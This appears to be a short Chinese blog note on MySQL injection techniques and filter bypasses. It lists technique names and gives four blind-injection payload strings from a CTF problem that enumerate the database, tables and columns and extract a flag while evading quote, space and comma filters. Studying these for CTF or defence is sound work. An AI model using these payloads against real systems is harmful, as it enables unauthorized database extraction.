Mysql注入的常用方法和绕过

  • 宽字节注入
  • 基于约束的注入
  • 报错注入
  • 时间盲注
  • bool盲注
  • order by的注入
  • INSERT、UPDATE、DELETE相关的注入
  • 堆叠注入
  • 二次注入
  • 文件读写
  • 常用绕过
  • 万能密码

参考:CTF SQL注入

惯用思路(这里的例子是之前做的一道mysql盲注题,题目过滤了很多符号,如:单引号、空格和逗号):
1、首先通过database()函数得到库名,或者去information_schema.schemata表查询schema_name
"0/**/or/**/ascii(substring(database()/**/from/**/%d/**/for/**/1))=%d#" % (i, j)
2、然后去information_schema.tables表利用table_schema查询table_name
"0/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())/**/from/**/%d/**/for/**/1))=%d#" % (i, j)
3、接着去information_schema.columns表利用table_name查询column_name
"0/**/or/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database())/**/from/**/%d/**/for/**/1))=%d#" % (i, j)
4、最后select column_name from table_name 得到flag
"0/**/or/**/ascii(substr((select/**/*/**/from/**/flag)/**/from/**/%d/**/for/**/1))=%d#" % (i, j)

Mysql注入的常用方法和绕过

上一篇:sql语句进阶


下一篇:mysql 事务